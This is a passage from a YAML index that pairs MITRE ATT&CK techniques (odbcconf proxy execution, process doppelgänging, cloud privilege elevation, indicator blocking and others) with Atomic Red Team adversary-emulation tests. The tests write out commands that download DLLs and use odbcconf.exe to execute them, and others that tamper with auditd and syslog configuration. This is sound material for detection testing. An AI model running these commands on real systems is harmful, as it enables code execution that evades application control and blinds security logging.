        url: https://attack.mitre.org/techniques/T1218/008
      - source_name: Microsoft odbcconf.exe
        url: https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017
        description: Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March
          7, 2019.
      - source_name: LOLBAS Odbcconf
        url: https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/
        description: LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019.
      - source_name: TrendMicro Squiblydoo Aug 2017
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/
        description: Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August
          7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses.
          Retrieved March 7, 2019.
      - source_name: TrendMicro Cobalt Group Nov 2017
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/
        description: 'Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November
          20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit
          Against Russian Banks. Retrieved March 7, 2019.'
      modified: '2022-05-11T14:00:00.188Z'
      name: 'Signed Binary Proxy Execution: Odbcconf'
      description: "Adversaries may abuse odbcconf.exe to proxy execution of malicious
        payloads. Odbcconf.exe is a Windows utility that allows you to configure Open
        Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft
        odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\n\nAdversaries
        may abuse odbcconf.exe to bypass application control solutions that do not
        account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010),
        odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute
        DLLs (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR \"C:\\Users\\Public\\file.dll\"&rbrace;</code>).
        (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation:
        TrendMicro Cobalt Group Nov 2017) \n"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: Use process monitoring to monitor the execution and arguments
        of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history
        of known good arguments and loaded DLLs to determine anomalous and potentially
        adversarial activity. Command arguments used before and after the invocation
        of odbcconf.exe may also be useful in determining the origin and purpose of
        the DLL being loaded.
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Module: Module Load'
      x_mitre_defense_bypassed:
      - Digital Certificate Validation
      - Application control
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1218.008
    atomic_tests:
    - name: Odbcconf.exe - Execute Arbitrary DLL
      auto_generated_guid: 2430498b-06c0-4b92-a448-8ad263c388e2
      description: 'Execute arbitrary DLL file stored locally.

        '
      supported_platforms:
      - windows
      input_arguments:
        dll_payload:
          description: DLL to execute
          type: path
          default: PathToAtomicsFolder\T1218.008\src\Win32\T1218-2.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1218-2.dll must exist on disk at specified location (#{dll_payload})

          '
        prereq_command: 'if (Test-Path "#{dll_payload}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/src/Win32/T1218-2.dll" -OutFile "#{dll_payload}"
      executor:
        command: 'odbcconf.exe /S /A {REGSVR "#{dll_payload}"}

          '
        name: command_prompt
    - name: Odbcconf.exe - Load Response File
      auto_generated_guid: 331ce274-f9c9-440b-9f8c-a1006e1fce0b
      description: |
        Execute arbitrary response file that will spawn PowerShell.exe.
        Source files: https://github.com/woanware/application-restriction-bypasses
      supported_platforms:
      - windows
      input_arguments:
        rsp_file_name:
          description: Response file name to load
          type: string
          default: T1218.008.rsp
        rsp_file_path:
          description: Response file path
          type: string
          default: PathToAtomicsFolder\T1218.008\bin\
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1218.008.rsp must exist on disk at specified location (#{rsp_file_path}#{rsp_file_name})

          '
        prereq_command: 'if (Test-Path "#{rsp_file_path}#{rsp_file_name}") {exit 0}
          else {exit 1}

          '
        get_prereq_command: |
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/bin/T1218.008.rsp" -OutFile "#{rsp_file_path}#{rsp_file_name}"
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/bin/o.dll" -OutFile "#{rsp_file_path}\o.dll"
      executor:
        command: |
          cd "#{rsp_file_path}"
          odbcconf.exe -f "#{rsp_file_name}"
        name: command_prompt
  T1548.005:
    technique:
      modified: '2024-03-28T15:30:09.313Z'
      name: Temporary Elevated Cloud Access
      description: "Adversaries may abuse permission configurations that allow them
        to gain temporarily elevated access to cloud resources. Many cloud environments
        allow administrators to grant user or service accounts permission to request
        just-in-time access to roles, impersonate other accounts, pass roles onto
        resources and services, or otherwise gain short-term access to a set of privileges
        that may be distinct from their own. \n\nJust-in-time access is a mechanism
        for granting additional roles to cloud accounts in a granular, temporary manner.
        This allows accounts to operate with only the permissions they need on a daily
        basis, and to request additional permissions as necessary. Sometimes just-in-time
        access requests are configured to require manual approval, while other times
        the desired permissions are automatically granted.(Citation: Azure Just in
        Time Access 2023)\n\nAccount impersonation allows user or service accounts
        to temporarily act with the permissions of another account. For example, in
        GCP users with the `iam.serviceAccountTokenCreator` role can create temporary
        access tokens or sign arbitrary payloads with the permissions of a service
        account, while service accounts with domain-wide delegation permission are
        permitted to impersonate Google Workspace accounts.(Citation: Google Cloud
        Service Account Authentication Roles)(Citation: Hunters Domain Wide Delegation
        Google Workspace 2023)(Citation: Google Cloud Just in Time Access 2023)(Citation:
        Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023) In Exchange
        Online, the `ApplicationImpersonation` role allows a service account to use
        the permissions associated with specified user accounts.(Citation: Microsoft
        Impersonation and EWS in Exchange) \n\nMany cloud environments also include
        mechanisms for users to pass roles to resources that allow them to perform
        tasks and authenticate to other services. While the user that creates the
        resource does not directly assume the role they pass to it, they may still
        be able to take advantage of the role's access -- for example, by configuring
        the resource to perform certain actions with the permissions it has been granted.
        In AWS, users with the `PassRole` permission can allow a service they create
        to assume a given role, while in GCP, users with the `iam.serviceAccountUser`
        role can attach a service account to a resource.(Citation: AWS PassRole)(Citation:
        Google Cloud Service Account Authentication Roles)\n\nWhile users require
        specific role assignments in order to use any of these features, cloud administrators
        may misconfigure permissions. This could result in escalation paths that allow
        adversaries to gain access to resources beyond what was originally intended.(Citation:
        Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS
        Privilege Escalation)\n\n**Note:** this technique is distinct from [Additional
        Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves
        assigning permanent roles to accounts rather than abusing existing permissions
        structures to gain temporarily elevated access to resources. However, adversaries
        that compromise a sufficiently privileged account may grant another account
        they control [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003)
        that would allow them to also abuse these features. This may also allow for
        greater stealth than would be had by directly using the highly privileged
        account, especially when logs do not clarify when role impersonation is taking
        place.(Citation: CrowdStrike StellarParticle January 2022)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Arad Inbar, Fidelis Security
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - IaaS
      - Azure AD
      - Office 365
      - Google Workspace
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'User Account: User Account Modification'
      type: attack-pattern
      id: attack-pattern--6fa224c7-5091-4595-bf15-3fc9fe2f2c7c
      created: '2023-07-10T16:37:15.672Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1548/005
        external_id: T1548.005
      - source_name: AWS PassRole
        description: AWS. (n.d.). Granting a user permissions to pass a role to an
          AWS service. Retrieved July 10, 2023.
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html
      - source_name: CrowdStrike StellarParticle January 2022
        description: 'CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole:
          Observations from the StellarParticle Campaign. Retrieved February 7, 2022.'
        url: https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/
      - source_name: Google Cloud Just in Time Access 2023
        description: Google Cloud. (n.d.). Manage just-in-time privileged access to
          projects. Retrieved September 21, 2023.
        url: https://cloud.google.com/architecture/manage-just-in-time-privileged-access-to-project
      - source_name: Google Cloud Service Account Authentication Roles
        description: Google Cloud. (n.d.). Roles for service account authentication.
          Retrieved July 10, 2023.
        url: https://cloud.google.com/iam/docs/service-account-permissions
      - source_name: Microsoft Impersonation and EWS in Exchange
        description: Microsoft. (2022, September 13). Impersonation and EWS in Exchange.
          Retrieved July 10, 2023.
        url: https://learn.microsoft.com/en-us/exchange/client-developer/exchange-web-services/impersonation-and-ews-in-exchange
      - source_name: Azure Just in Time Access 2023
        description: Microsoft. (2023, August 29). Configure and approve just-in-time
          access for Azure Managed Applications. Retrieved September 21, 2023.
        url: https://learn.microsoft.com/en-us/azure/azure-resource-manager/managed-applications/approve-just-in-time-access
      - source_name: Rhino Security Labs AWS Privilege Escalation
        description: Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation – Methods
          and Mitigation. Retrieved May 27, 2022.
        url: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
      - source_name: Rhino Google Cloud Privilege Escalation
        description: Spencer Gietzen. (n.d.). Privilege Escalation in Google Cloud
          Platform – Part 1 (IAM). Retrieved September 21, 2023.
        url: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
      - source_name: Hunters Domain Wide Delegation Google Workspace 2023
        description: 'Yonatan Khanashvilli. (2023, November 28). DeleFriend: Severe
          design flaw in Domain Wide Delegation could leave Google Workspace vulnerable
          for takeover. Retrieved January 16, 2024.'
        url: https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover
      - source_name: Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023
        description: Zohar Zigdon. (2023, November 30). Exploring a Critical Risk
          in Google Workspace's Domain-Wide Delegation Feature. Retrieved January
          16, 2024.
        url: https://unit42.paloaltonetworks.com/critical-risk-in-google-workspace-delegation-feature/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1055.013:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197
      type: attack-pattern
      created: '2020-01-14T17:19:50.978Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1055.013
        url: https://attack.mitre.org/techniques/T1055/013
      - url: https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx
        description: Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December
          20, 2017.
        source_name: Microsoft TxF
      - url: https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx
        description: Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20,
          2017.
        source_name: Microsoft Basic TxF Concepts
      - url: https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx
        description: Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved
          December 20, 2017.
        source_name: Microsoft Where to use TxF
      - url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
        description: 'Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction:
          Process Doppelgänging. Retrieved December 20, 2017.'
        source_name: BlackHat Process Doppelgänging Dec 2017
      - url: https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/
        description: hasherezade. (2017, December 18). Process Doppelgänging – a new
          way to impersonate a process. Retrieved December 20, 2017.
        source_name: hasherezade Process Doppelgänging Dec 2017
      - url: https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx
        description: Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved
          December 20, 2017.
        source_name: Microsoft PsSetCreateProcessNotifyRoutine routine
      modified: '2022-04-25T14:00:00.188Z'
      name: Process Doppelgänging
      description: "Adversaries may inject malicious code into process via process
        doppelgänging in order to evade process-based defenses as well as possibly
        elevate privileges. Process doppelgänging is a method of executing arbitrary
        code in the address space of a separate live process. \n\nWindows Transactional
        NTFS (TxF) was introduced in Vista as a method to perform safe file operations.
        (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted
        handle to write to a file at a given time. Until the write handle transaction
        is terminated, all other handles are isolated from the writer and may only
        read the committed version of the file that existed at the time the handle
        was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption,
        TxF performs an automatic rollback if the system or application fails during
        a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated,
        the TxF application programming interface (API) is still enabled as of Windows
        10. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nAdversaries may
        abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055).
        Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012),
        process doppelgänging involves replacing the memory of a legitimate process,
        enabling the veiled execution of malicious code that may evade defenses and
        detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored
        API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>,
        and <code>SetThreadContext</code>. (Citation: BlackHat Process Doppelgänging
        Dec 2017)\n\nProcess Doppelgänging is implemented in 4 steps (Citation: BlackHat
        Process Doppelgänging Dec 2017):\n\n* Transact – Create a TxF transaction
        using a legitimate executable then overwrite the file with malicious code.
        These changes will be isolated and only visible within the context of the
        transaction.\n* Load – Create a shared section of memory and load the malicious
        executable.\n* Rollback – Undo changes to original executable, effectively
        removing malicious code from the file system.\n* Animate – Create a process
        from the tainted section of memory and initiate execution.\n\nThis behavior
        will likely not result in elevated privileges since the injected process was
        spawned from (and thus inherits the security context) of the injecting process.
        However, execution via process doppelgänging may evade detection from security
        products since the execution is masked under a legitimate process. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: |-
        Monitor and analyze calls to <code>CreateTransaction</code>, <code>CreateFileTransacted</code>, <code>RollbackTransaction</code>, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to <code>NtCreateProcessEx</code> and <code>NtCreateThreadEx</code> as well as API calls used to modify memory within another process, such as <code>WriteProcessMemory</code>. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017)

        Scan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017)

        Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Metadata'
      - 'Process: OS API Execution'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1578.003:
    technique:
      x_mitre_platforms:
      - IaaS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4
      type: attack-pattern
      created: '2020-06-16T17:23:06.508Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1578.003
        url: https://attack.mitre.org/techniques/T1578/003
      - source_name: Mandiant M-Trends 2020
        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
          2020.
      - source_name: AWS CloudTrail Search
        url: https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/
        description: Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances.
          Retrieved June 17, 2020.
      - source_name: Azure Activity Logs
        url: https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs
        description: Microsoft. (n.d.). View Azure activity logs. Retrieved June 17,
          2020.
      - source_name: Cloud Audit Logs
        url: https://cloud.google.com/logging/docs/audit#admin-activity
        description: Google. (n.d.). Audit Logs. Retrieved June 1, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Delete Cloud Instance
      description: |-
        An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence.  Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.

        An adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity.

        In AWS, CloudTrail logs capture the deletion of an instance in the <code>TerminateInstances</code> event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of <code>gcloud compute instances delete</code> to delete a VM.(Citation: Cloud Audit Logs)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Instance: Instance Metadata'
      - 'Instance: Instance Deletion'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1574.005:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--70d81154-b187-45f9-8ec5-295d01255979
      type: attack-pattern
      created: '2020-03-13T11:12:18.558Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1574.005
        url: https://attack.mitre.org/techniques/T1574/005
      - source_name: mozilla_sec_adv_2012
        url: https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/
        description: Robert Kugler. (2012, November 20). Mozilla Foundation Security
          Advisory 2012-98. Retrieved March 10, 2017.
      - source_name: Executable Installers are Vulnerable
        url: https://seclists.org/fulldisclosure/2015/Dec/34
        description: 'Stefan Kanthak. (2015, December 8). Executable installers are
          vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation
          of privilege. Retrieved December 4, 2014.'
      modified: '2020-10-27T14:49:39.188Z'
      name: Executable Installer File Permissions Weakness
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

        Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).

        Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)  (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.

        Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Service: Service Metadata'
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Module: Module Load'
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_effective_permissions:
      - Administrator
      - User
      - SYSTEM
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1562.006:
    technique:
      modified: '2024-02-14T21:50:32.531Z'
      name: 'Impair Defenses: Indicator Blocking'
      description: "An adversary may attempt to block indicators or events typically
        captured by sensors from being gathered and analyzed. This could include maliciously
        redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based
        sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About
        Event Tracing 2018), by tampering settings that control the collection and
        flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These
        settings may be stored on the system in configuration files and/or in the
        Registry as well as being accessible via administrative utilities such as
        [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management
        Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nFor example,
        adversaries may modify the `File` value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security</code>
        to hide their malicious actions in a new or different .evtx log file. This
        action does not require a system reboot and takes effect immediately.(Citation:
        disable_win_evt_logging) \n\nETW interruption can be achieved multiple ways,
        however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        <code>Set-EtwTraceProvider</code> cmdlet or by interfacing directly with the
        Registry to make alterations.\n\nIn the case of network-based reporting of
        indicators, an adversary may block traffic associated with reporting to prevent
        central analysis. This may be accomplished by many means, such as stopping
        a local process responsible for forwarding telemetry and/or creating a host-based
        firewall rule to block traffic to specific hosts responsible for aggregating
        events, such as security information and event management (SIEM) products.\n\nIn
        Linux environments, adversaries may disable or reconfigure log processing
        tools such as syslog or nxlog to inhibit detection and monitoring capabilities
        to facilitate follow on behaviors (Citation: LemonDuck)."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Rob Smith
      - Lucas Heiligenstein
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.

        Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: <code>HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\AUTOLOGGER_NAME\{PROVIDER_GUID}</code>
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Sensor Health: Host Status'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host intrusion prevention systems
      type: attack-pattern
      id: attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da
      created: '2020-03-19T19:09:30.329Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1562/006
        external_id: T1562.006
      - source_name: disable_win_evt_logging
        description: 'Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging.
          Retrieved April 7, 2022.'
        url: https://ptylu.github.io/content/report/report.html?report=25
      - source_name: LemonDuck
        description: Manoj Ahuje. (2022, April 21). LemonDuck Targets Docker for Cryptomining
          Operations. Retrieved June 30, 2022.
        url: https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/
      - source_name: Microsoft Lamin Sept 2017
        description: Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved
          September 6, 2018.
        url: https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A
      - source_name: Microsoft About Event Tracing 2018
        description: Microsoft. (2018, May 30). About Event Tracing. Retrieved June
          7, 2019.
        url: https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events
      - source_name: Medium Event Tracing Tampering 2018
        description: 'Palantir. (2018, December 24). Tampering with Windows Event
          Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.'
        url: https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1562.006
    atomic_tests:
    - name: Auditing Configuration Changes on Linux Host
      auto_generated_guid: 212cfbcf-4770-4980-bc21-303e37abd0e3
      description: 'Emulates modification of auditd configuration files

        '
      supported_platforms:
      - linux
      input_arguments:
        audisp_config_file_name:
          description: The name of the audispd configuration file to be changed
          type: string
          default: audispd.conf
        auditd_config_file_name:
          description: The name of the auditd configuration file to be changed
          type: string
          default: auditd.conf
        libaudit_config_file_name:
          description: The name of the libaudit configuration file to be changed
          type: string
          default: libaudit.conf
      executor:
        command: "sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name}\nif
          [ -f \"/etc/#{auditd_config_file_name}\" ];\nthen sed -i '$ a #art_test_1562_006_1'
          /etc/#{auditd_config_file_name}\nelse sed -i '$ a #art_test_1562_006_1'
          /etc/audit/#{auditd_config_file_name}\nfi \nsed -i '$ a #art_test_1562_006_1'
          /etc/#{libaudit_config_file_name}\n"
        cleanup_command: |
          sed -i '$ d' /etc/audisp/#{audisp_config_file_name}
          if [ -f "/etc/#{auditd_config_file_name}" ];
          then sed -i '$ d' /etc/#{auditd_config_file_name}
          else sed -i '$ d' /etc/audit/#{auditd_config_file_name}
          fi
          sed -i '$ d' /etc/#{libaudit_config_file_name}
        name: bash
        elevation_required: true
    - name: Auditing Configuration Changes on FreeBSD Host
      auto_generated_guid: cedaf7e7-28ee-42ab-ba13-456abd35d1bd
      description: 'Emulates modification of auditd configuration files

        '
      supported_platforms:
      - linux
      input_arguments:
        auditd_config_file_name:
          description: The name of the auditd configuration file to be changed
          type: string
          default: audit_event
      executor:
        command: 'echo ''#art_test_1562_006_1'' >> /etc/security/#{auditd_config_file_name}

          '
        cleanup_command: 'sed -i "" ''/#art_test_1562_006_1/d'' /etc/security/#{auditd_config_file_name}

          '
        name: sh
        elevation_required: true
    - name: Logging Configuration Changes on Linux Host
      auto_generated_guid: 7d40bc58-94c7-4fbb-88d9-ebce9fcdb60c
      description: 'Emulates modification of syslog configuration.

        '
      supported_platforms:
      - linux
      input_arguments:
        syslog_config_file_name:
          description: The name of the syslog configuration file to be changed
          type: string
          default: syslog.conf
        rsyslog_config_file_name:
          description: The name of the rsyslog configuration file to be changed
          type: string
          default: rsyslog.conf
        syslog_ng_config_file_name:
          description: The name of the syslog-ng configuration file to be changed
          type: string
          default: syslog-ng.conf
      executor:
        command: |
          if [ -f "/etc/#{syslog_config_file_name}" ];
